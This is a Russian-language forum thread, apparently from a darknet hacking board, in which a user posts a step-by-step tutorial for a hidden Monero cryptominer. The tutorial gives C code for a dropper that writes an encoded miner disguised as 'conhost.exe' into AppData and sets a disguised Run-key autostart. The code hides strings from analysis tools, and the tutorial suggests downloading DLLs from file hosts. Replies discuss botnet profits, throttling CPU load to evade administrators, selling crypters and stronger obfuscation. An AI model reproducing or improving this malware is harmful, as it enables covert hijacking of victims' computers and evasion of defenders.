[статья] Скрытый майнер из говна и палок за 15 минут

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: Ansiqore on 2017-04-20 00 ч.

[статья] Скрытый майнер из говна и палок за 15 минут

По стопам цикла из говна и палок.

Сегодня я вам покажу, как сделать скрытый майнер Monero из говна и палок, в прямом смысле этого слова. Так как вижу, что тема актуальна, особенно это понимают те, которые брутят дедики, лол.

Приступим.

Часть 0. Необходимое

1) Майнер Monero. Самый эффективный на данный момент от Wolf'а. Так сложилось, что майнинг алгоритмом cryptonight гораздо эффективнее на *****U, так как тот же Wolf в отличии от других алгоритмов юзает расширение команд AES

_ttps://ru.minergate.com/altminers/*****uminer-multi-wolf

2) Гейт на котором будем майниться. Заюзаем не требующий регистрации dwarfpool

3) Visual Studio, скрипт bin2src и иммунитет к говнокоду

Часть 1. Архитектура скрытого майнера

Архитектура будет такой:

x64 дроппер, который будет дропать на авторан js скрипт, запускающий майнер в скрытом режиме. Дропать будет либо версию с поддержкой AES-расширения, либо без поддержки. Самоудаляться.

То есть, порядок сборки:

Пишем каркас дропера, перегоняем файлы майнера в массив при помощи bin2src, компейлируем и распространяем, ловя кэш на булочки в столовке.

Часть 2. Дроппер

Дропер будет прост как лопата. Определяем поддержку AES через *****uid и в зависимости от этого дропаем в аппдату определенные версии майнеров, ставим на авторан js файл который их будет врубать в скрытом режиме

Напишем Скопипиздим функцию определяющую поддержку AES

#include <intrin.h>
...
BOOL aes() // вернет тру если поддерживает 
{
	int *****UInfo[4];
	__*****uid(*****UInfo, 1);
	return (*****UInfo[2] & (1 << 25)) != 0;
}

Далее научим дропер блеваться майнерами в аппдату, для начала найдем эту самую аппдату:

BOOL GetAppData(LPWSTR lpBuffer, DWORD dwSize)
{
	WCHAR szAppData[] = { L'A', L'p', L'p', L'D', L'a', L't', L'a', L'\0' };
	DWORD dwRet = GetEnvironmentVariableW(szAppData, lpBuffer, dwSize);
	return ((dwRet > 0) && (dwRet <= dwSize));
}

Этот код получит из системной переменной путь до аппдаты и положит в lpBuffer размером dwSize, вернув true если все оки шмоки. Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации )

Шик, теперь прихуярим создание поддиректории в аппдате

BOOL CreateSubdir(LPWSTR lpPath, LPWSTR lpDirName)
{
	typedef BOOL (WINAPI *fnCreateDirectory)(
		_In_     LPWSTR               lpPathName,
		_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes
		);

	CHAR szCreateDirectory[] = { 'C', 'r', 'e', 'a', 't', 'e', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'W', '\0' };
	WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };

	fnCreateDirectory fpCreateDirectory = (fnCreateDirectory)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateDirectory);

	if (!fpCreateDirectory)
		return FALSE;

	LPWSTR lpNewPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (!lpNewPath)
		return FALSE;

	wsprintfW(lpNewPath, L"%s\\%s", lpPath, lpDirName);

	BOOL bRet = fpCreateDirectory(lpNewPath, 0);

	if (GetLastError() == ERROR_ALREADY_EXISTS)
		bRet = TRUE;

	VirtualFree(lpNewPath, 0, MEM_RELEASE);
	return bRet;

}

очевидно читатель уже изрядно охуел от такой сборки строк на стеке. Так что отвечу: нет, я не мазохист, за меня все делает этот збс самодельный скрипт

#/usr/bin/python

import sys
from Tkinter import Tk

if len(sys.argv) < 3:
	print "stackstring.py <string> W/A"
	sys.exit(1)

prefix = '';
array = 'CHAR arr[] = {'
if (sys.argv[2] == 'W'):
	prefix = 'L'
	array = 'WCHAR arr[] = {'

i = 0
while i < len(sys.argv[1]):
	chr = sys.argv[1][i]
	if (chr == '\\'):
		chr = '\\\\'
		i += 1
	array+=prefix + "'" + chr + "'"
	if (i != len(sys.argv[1]) - 1):
		array+= ", "
	i += 1

array += ", " + prefix + "'\\0'"
	
array += "};"
		
r = Tk()
r.withdraw()
r.clipboard_clear()
r.clipboard_append(array)
r.destroy()
		
print array

Теперь осталось сделать код, который дропнет все это дело в созданную директорию

HANDLE MyCreateFileW(LPWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwCreationDisposition)
{
	typedef HANDLE (WINAPI *fnCreateFileW)(
		_In_     LPWSTR                lpFileName,
		_In_     DWORD                 dwDesiredAccess,
		_In_     DWORD                 dwShareMode,
		_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
		_In_     DWORD                 dwCreationDisposition,
		_In_     DWORD                 dwFlagsAndAttributes,
		_In_opt_ HANDLE                hTemplateFile
		);

	WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
	CHAR szCreateFileW[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', '\0' };


	fnCreateFileW fpCreateFileW = (fnCreateFileW)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateFileW);

	if (!fpCreateFileW)
		return FALSE;

	return fpCreateFileW(lpFileName, dwDesiredAccess, FILE_SHARE_READ, 0, dwCreationDisposition, FILE_ATTRIBUTE_HIDDEN, 0);

}

BOOL MyWriteFile(HANDLE hFile, LPBYTE lpByteCode, DWORD dwSize)
{
	typedef BOOL (WINAPI *fnWriteFile)(
		_In_        HANDLE       hFile,
		_In_        LPVOID       lpBuffer,
		_In_        DWORD        nNumberOfBytesToWrite,
		_Out_opt_   LPDWORD      lpNumberOfBytesWritten,
		_Inout_opt_ LPOVERLAPPED lpOverlapped
		);

	WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
	CHAR szWriteFile[] = { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', '\0' };

	fnWriteFile fpWriteFile = (fnWriteFile)GetProcAddress(GetModuleHandleW(szKernelLib), szWriteFile);


	if (!fpWriteFile)
		return FALSE;

	DWORD dwWritten;
	return fpWriteFile(hFile, lpByteCode, dwSize, &dwWritten, 0);
}

BOOL DropArray(LPWSTR lpPath, LPWSTR lpName, LPBYTE lpByteCode, DWORD dwSize)
{
	LPWSTR lpNewName = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!lpName)
		return FALSE;

	wsprintfW(lpNewName, L"%s\\%s", lpPath, lpName);

	BOOL bRet = FALSE;
	HANDLE hFile = MyCreateFileW(lpNewName, GENERIC_WRITE, CREATE_ALWAYS);

	if (hFile != INVALID_HANDLE_VALUE)
	{
		bRet = MyWriteFile(hFile, lpByteCode, dwSize);
		CloseHandle(hFile);
	}

	VirtualFree(lpNewName, 0, MEM_RELEASE);
	return bRet;
}

Ну и собрать воедино

unsigned char lpMinerAes[] = { 0, 0 };
unsigned char lpMinerNoAes[] = { 0, 0 };


BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName)
{
	BOOL bRet = FALSE;

	return bRet;
}

BOOL DropMiner(BOOL bAes)
{
	LPWSTR lpPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (!lpPath)
		return FALSE;

	BOOL bRet = FALSE;

	if (GetAppData(lpPath, 256))
	{
		if (CreateSubdir(lpPath, L"Runion"))
		{
			lstrcatW(lpPath, L"\\Runion"); 
			if (DropArray(lpPath, L"conhost.exe", ((bAes == TRUE) ? lpMinerAes : lpMinerNoAes),
				((bAes == TRUE) ? sizeof(lpMinerAes) : sizeof(lpMinerNoAes))))
			{
				bRet = SetAutorun(lpPath, L"updater.js", L"conhost.exe");
			}
				
		}
	}

	VirtualFree(lpPath, 0, MEM_RELEASE);
        return bRet;
}

Осталось дописать SetAutorun, потом заглушки с lpMinerAes и lpMinerNoAes вынесем в отдельный header-файл, чтобы не мешались

Честно говоря я уже начал лениться и поэтому дальнейшие действия без динамического импорта, все же статья не об этом ;D

VOID MakeCorrection(LPWSTR out, LPWSTR in)
{
	DWORD OutCounter = 0;
	for (DWORD inCounter = 0; inCounter < lstrlenW(in); inCounter++)
	{
		if (in[inCounter] == L'\\')
		{
			for (DWORD inter = 0; inter < 2; inter++)
			{
				out[OutCounter++] = L'\\';
			}
		}
		else
		{
			out[OutCounter++] = in[inCounter];
		}
	}
	out[OutCounter] = L'\0';
}

BOOL WriteJsInFile(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpFileName)
{

	struct jsCorrect
	{
		WCHAR jsCorrect0[256];
		WCHAR lpNewName[256];
		WCHAR jscriptData[1024];
	};
	
	jsCorrect* lpjsc = (jsCorrect*)VirtualAlloc(0, sizeof(jsCorrect), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!lpjsc)
		return FALSE;


	BOOL bRet = FALSE;

	wsprintfW(lpjsc->lpNewName, L"%s\\%s", lpPath, lpAutorunName);

	HANDLE hFile = MyCreateFileW(lpjsc->lpNewName, GENERIC_WRITE, CREATE_ALWAYS);

	if (hFile != INVALID_HANDLE_VALUE)
	{

		MakeCorrection(lpjsc->jsCorrect0, lpPath);

		wsprintfW(lpjsc->jscriptData,
			L"var WSHShell = WScript.CreateObject(\"WScript.Shell\");WSHShell.Run('\"%s\\\\%s\" %s', 0);",
			lpjsc->jsCorrect0, lpFileName, L"-t 1 -a cryptonight -o stratum+t*****://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1"
			);

		bRet = MyWriteFile(hFile, (LPBYTE)lpjsc->jscriptData, lstrlenW(lpjsc->jscriptData) * 2);

		CloseHandle(hFile);

	}
	VirtualFree(lpjsc, 0, MEM_RELEASE);

	return bRet;
}

BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName)
{
	BOOL bRet = FALSE;

	HKEY hKey;

	DWORD ret = RegCreateKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
		0, 0, 0, KEY_ALL_ACCESS, 0, &hKey, 0);
	if (ret == ERROR_SUCCESS)
	{


		if (WriteJsInFile(lpPath, lpAutorunName, lpMinerName))
		{
			LPWSTR lpAutorunPath = (LPWSTR)VirtualAlloc(0, 600, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

			if (lpAutorunPath)
			{
				wsprintfW(lpAutorunPath, L"wscript.exe \"%s\\%s\"", lpPath, lpAutorunName);
				ret = RegSetValueExW(hKey, L"Active Directory service", 0, REG_SZ, (LPBYTE)lpAutorunPath, lstrlenW(lpAutorunPath) * 2);
				if (ret == ERROR_SUCCESS)
				{
					bRet = TRUE;
				}
				ShellExecuteW(0, L"open", lpAutorunPath, 0, 0, SW_SHOW);

				RegCloseKey(hKey);
				VirtualFree(lpAutorunPath, 0, MEM_RELEASE);
			}
		}
	}


	return bRet;
}

Собсна этот код ставит на авторан примерно следующее содержимое js:

var WSHShell = WScript.CreateObject("WScript.Shell");WSHShell.Run('"C:\\Users\\USERNAME\\AppData\\Roaming\\Runion\\conhost.exe" -t 1 -a cryptonight -o stratum+t*****://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1', 0);

И тут же врубает этот js, вместо YOUR_MONERO_WALLET нам нужно вписать наш кошелек монеро для майнинга, а на dwarfpool.com мы сможем мониторить хешрейт. Все вроде просто, да? :D

Осталось при помощи bin2src скрипта, слегка модифицированного мною чтобы он ксорил все на 0x05 байт перегнать версии майнеров в массивы

bin2src

import os,sys,re,struct

def bin2src(s,name):
    s=bytearray(s)
    o=""
    o+=("static const unsigned char %s[]={" % name)
    for i in range(0,len(s)):
        if (i%32==0):
            o+=("\n")
        a = s[i]
        a ^= 0x5
        o+=("0x%2.2X," % a)
    o+=("\n};\n")
    return o

l=len(sys.argv)
if l<3:
    print "Error: invalid argument\npython bin2src.py file.bin name file.c"
    sys.exit()
f=open(sys.argv[1],"rb")
data=f.read()
f.close()

name=sys.argv[2]
fout=sys.argv[3]

data=bin2src(data,name)
f=open(fout,"wb+")
f.write(data)
f.close()
print "Done"

Перегоняем в массив, билдим и готово

Не забываем сделать декрипт массива при старте софта и скачать при помощи, например, URLDownloadToFile необходимые дллки с любой файлопомойки с прямой ссылки ( например dropbox ).

Справитесь? Если нет, то ожидайте во 2-й части статьи продолжение. Жду рекуестов о продолжении статьи с законченным кодом если надо

 Вложения

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: матершинник on 2017-04-20 03 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

а стоит ли на это тратить время? просто я сомневаюсь что хватит хотябы на булочку у нас в столовке с маком


Спайс в кармане-мать в канаве

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: blaxblox on 2017-04-20 08 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

Ansiqore пишет:

cryptonight

А оно еще актуально? Уже года два (или три?) наблюдаю конкретно криптонайтовские версии в дикой природе.

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: MadCat on 2017-04-20 08 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

Ansiqore, пишите продолжение. Дарю вам участника вне очереди :)

матершинник пишет:

а стоит ли на это тратить время?

Зависит от охватат ботнета же, монеро сейчас далеко не самый худший вариант по прибыльности.


blaxblox пишет:

А оно еще актуально?

Вполне.

 Вложения

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: miser on 2017-04-20 10 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

Ansiqore пишет:

Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации )

За такие лайфхаки отдельное спасибо. Не задумывался, что ларчик так просто открывался.

Ansiqore пишет:

Справитесь?

В таком виде статья идеальна. Она многое объясняет, но при этом заставляет подумать, как хорошая головоломка. Но продолжение - все равно хорошая идея, рунион образовательный.


пишите в ящик, жаббер создам одноразовый
используйте PGP ключ, незашифрованные обращения игнорирую

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: sektor on 2017-04-20 10 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

работа с многоядерностью(распределение нагрузки/потоки), настраиваемый % загрузки ядер(охуевший одмен пропалит 90-100%), оконный интерфейс для самых маленьких, некий крипт/полиморф/обфускация и будет вполне коммерческая(долларов на 200-500) нагрузка для простаивающих vds/vps. пиши продолжение однозначно будут + к карме.

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: blaxblox on 2017-04-20 11 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

Ansiqore пишет:

Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации )

Вот, кстати, это совсем не помогает.

bpwd.png

 Вложения

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: miser on 2017-04-20 15 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

blaxblox пишет:

Вот, кстати, это совсем не помогает.

А что тогда (из самых простых средств) помогает?


пишите в ящик, жаббер создам одноразовый
используйте PGP ключ, незашифрованные обращения игнорирую

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: Ansiqore on 2017-04-20 15 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

sektor пишет:

работа с многоядерностью(распределение нагрузки/потоки), настраиваемый % загрузки ядер(охуевший одмен пропалит 90-100%),

В примере 1 ядро юзается, на 90-100% будет на оч слабых компах

sektor пишет:

некий крипт/полиморф/обфускация и будет вполне коммерческая(долларов на 200-500)

Качественный полиморф крипт можно продать за 5к$

blaxblox пишет:
Ansiqore пишет:

Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации )

Вот, кстати, это совсем не помогает.

bpwd.png

Вот, кстати, не надо в овтет на статью по винде кидать дизасм ELF файла скомпиленного в gcc

Во-первых, у меня Visual Studio с совсем другой оптимизацией
Во-вторых, у меня используется тип wchar_t, а не char представленный на скрине
В-третьих, сам смотри

Почему такое предвзятое отношение, будто везде хочешь обосрать? "Сам статьи годами не пишу, дай других обосру?"

Вот, лови целую пачку. А теперь сравни со своим скрином и не показывай больше свой батхерт на то, что я обосрал твою статью про лоадер

?img=171492702808.PNG
9ifvzyc2n9b8ryuhp5onsxgfo.png

MadCat пишет:

Ansiqore, пишите продолжение. Дарю вам участника вне очереди smile

Спасибо большое! На днях будет продолжение.

 Вложения

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: Маркс on 2017-04-20 15 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

Понял чувства, которые испытывают окружающие, когда в других темах химики обсуждают синтезы.


Ящик: 1a88abd789e0
Мыльница: [email protected]
PGP ключ: на сервере MIT   
Господа хорошие, при копировании статьи указывайте источник. Бездумный копипиздинг ваш заебал уже, чесслово.

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: pp on 2017-04-20 16 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

Маркс, А есть еще люди, которые ни туда - ни сюда.

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: blaxblox on 2017-04-20 16 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

Ansiqore пишет:

я обосрал твою статью про лоадер

Ansiqore пишет:

Почему такое предвзятое отношение, будто везде хочешь обосрать?

Просто, блядь, отлично :up:

Ansiqore пишет:

В-третьих, сам смотри

Ну нажми R на push, получишь push 61h --> push 'a'

Ansiqore пишет:

Вот, кстати, не надо в овтет на статью по винде кидать дизасм ELF файла скомпиленного в gcc

Там эмм.. ассемблер разный штоле?

Ты бы завязывал упарываться уже.

 Вложения

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: Ansiqore on 2017-04-20 16 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

blaxblox пишет:

Ну нажми R на push, получишь push 61h --> push 'a'

Проблему неотображения в view -> subview -> strings не решает:

Ansiqore пишет:

чтобы в той же IDA при просмотре строк не было видно AppData

И при просмотре беглом в Hex-редакторе тоже явно AppData не видно, буквы между ней разбавляются кодом

blaxblox пишет:

Там эмм.. ассемблер разный штоле?

Ты бы завязывал упарываться уже.

Там компиляторы разные и оптимизируют они по разному, а следовательно по разному собирают код.

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: blaxblox on 2017-04-20 17 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

Ansiqore пишет:

Проблему неотображения в view -> subview -> strings не решает:

Ну блин, если уж дело дошло до IDA, то это наименьшая проблема.

Кстати, даже hiew это показывает
push        00A
push        020202120 ;"  ! "
push        064726F77 ;"drow"
push        073736170 ;"ssap"
push        020646142 ;" daB"
Да, я взял для примера первый попавшийся бинарь, где похожая техника, плюс hiew все пытается как char отобразить.

Лучше, конечно, через асм-вставки или макро сделать, чтоб было что-то вроде

вместо push 61h
сделать
mov ax, XXXX
xor/sub/rol/etc ax, YYYY
push ax; тут ax=61h

тогда анализирующему уже будет не все так очевидно и, возможно, придется писать скрипт.

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: miser on 2017-04-20 21 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

blaxblox пишет:

Лучше, конечно, через асм-вставки или макро сделать, чтоб было что-то вроде

mov ax, XXXX
xor/sub/rol/etc ax, YYYY
push ax; тут ax=61h

тогда анализирующему уже будет не все так очевидно и, возможно, придется писать скрипт.

Уважаемый blaxblox! Я там выше задавал вопрос, и видимо это ответ на него. Если тебе не трудно, сэкономь, пожалуйста, час моей жизни, отрефактори код ув. Ansiqore, чтобы не только небожителям был понятен предлагаемый тобой вариант. Про оптимизирующие настройки компиляторов мне все уши прожужжали еще 25 лет назад, но я в настоящий момент не обладаю достаточной квалификацией, чтобы понять, кто из вас двоих более прав (IDA Pro и Visual Studio тоже под рукой не держу).

Напоминаю исходный код, который меня заинтересовал, и к которому ты написал вышепроцитированное замечание:

BOOL GetAppData(LPWSTR lpBuffer, DWORD dwSize)
{
	WCHAR szAppData[] = { L'A', L'p', L'p', L'D', L'a', L't', L'a', L'\0' };
	DWORD dwRet = GetEnvironmentVariableW(szAppData, lpBuffer, dwSize);
	return ((dwRet > 0) && (dwRet <= dwSize));
}

Вопрос для меня важен, т.к. в частности за это изящное решение я поставил плюс автору статьи. Я (возможно, зря) всегда искренне полагал, что обфусцировать такие строки - кошмарный геморрой, т.е. настолько простых решений не существует.

Редактировался miser (2017-04-20 21 ч.)


пишите в ящик, жаббер создам одноразовый
используйте PGP ключ, незашифрованные обращения игнорирую

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: Ansiqore on 2017-04-20 21 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

miser, возьму на себя смелость ответить самому. По поводу правоты - мы оба правы и неправы одновременно, мы просто немного о разных вещах говорили одним языком, на эмоциях.

Осмелюсь также ответить. По поводу

mov ax, XXXX
xor/sub/rol/etc ax, YYYY
push ax; тут ax=61h

Имеется ввиду, чтобы ксорить/сабить/ролить байты строки. Интересное решение по поводу автоматического энкодинга строк есть в проекте TinyNuke на гитхабе, там в ридми написано все как это работает. Если кратко, пишешь в исходниках что-то вроде $ENC("String") точно не помню, и после компиляции String шифруется, а при каждом вызове этой строки в код добавляется декриптор.

Тоесть как раз что-то вроде

for(INT i = 0; i < lstrlen(str); i++) str[i] ^= key; 

Это не совсем то, что говорил blaxblox, но примерно.

Конкретно по моему методу:

	WCHAR szAppData[] = { L'A', L'p', L'p', L'D', L'a', L't', L'a', L'\0' };

Я сейчас объясню конкретно в чем фишка, чтобы не небожителям было понятно. Возможно с дизассемблером еще можно как-то сплясать, чтобы было более-менее читаемо, а вот в хэкс редакторе невозможно ( а любопытные глаза больше и не юзают )

И вот почему.

Обычная строка по-типу:

WCHAR szAppData = "AppData"; 

Компилятором добавляется в .data секцию в виде отдельной строки, то есть даже если открыть экзе блокнотом мы сможем найти тот самый AppData!

Строка по-типу приведенной мною:

	WCHAR szAppData[] = { L'A', L'p', L'p', L'D', L'a', L't', L'a', L'\0' };

Собирается программным кодом на стеке ( стек - это такая хуйня в оперативной памяти для внутренних нужд ), при помощи инструкций ассемблера, то есть в зависимости от флагом оптимизации возможно что-то вроде:

push 'A'
push 0
push 'P' и так далее ( это если в представлении символьном, а не байтовом, как по дефолту ( любопытные глаза тоже неумеют менять этот режим )

В итоге внутри файла НЕ зашита строка AppData, а зашит некоторый код, который эту строку "собирает", то есть в Hex-редакторе мы увидим машинный код примерно такого толка:

pmicgt9q4q4frp2al9ulx9wfv.png
Я подчеркнул красным ключевые символы которые хранятся в файле для AppData строки, повторяющиеся символы не кодируются. Это все флаг оптимизация по размеру и такой вот способ задания строк.

Если это считается плохой обфускацией, то либо blaxblox обфусцирует от профессионалов ( от них  ничего не спасет ), либо он просто маньяк.

P.S. Ну и добавлю, что метод так хорошо работает с Unicode строками больше 2-х символов и ANSI больше 4-х, иначе все выглядит как обычная строка с обратным порядком байт.

Редактировался Ansiqore (2017-04-20 21 ч.)

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: blaxblox on 2017-04-20 21 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

Ansiqore, даже нечего добавить  :up:

 Вложения

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: Ansiqore on 2017-04-20 22 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

miser, надо написать отдельно статью про обфускацию, раз так интересно?

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: pp on 2017-04-20 23 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

Ansiqore, Все таки одолел ты блахблоха.

[статья] Скрытый майнер из говна и палок за 15 минут  

  By: blaxblox on 2017-04-20 23 ч.

Re: [статья] Скрытый майнер из говна и палок за 15 минут

Ansiqore пишет:

статью про обфускацию

Только норм распиши, чтоб не обосрали  :D

 Вложения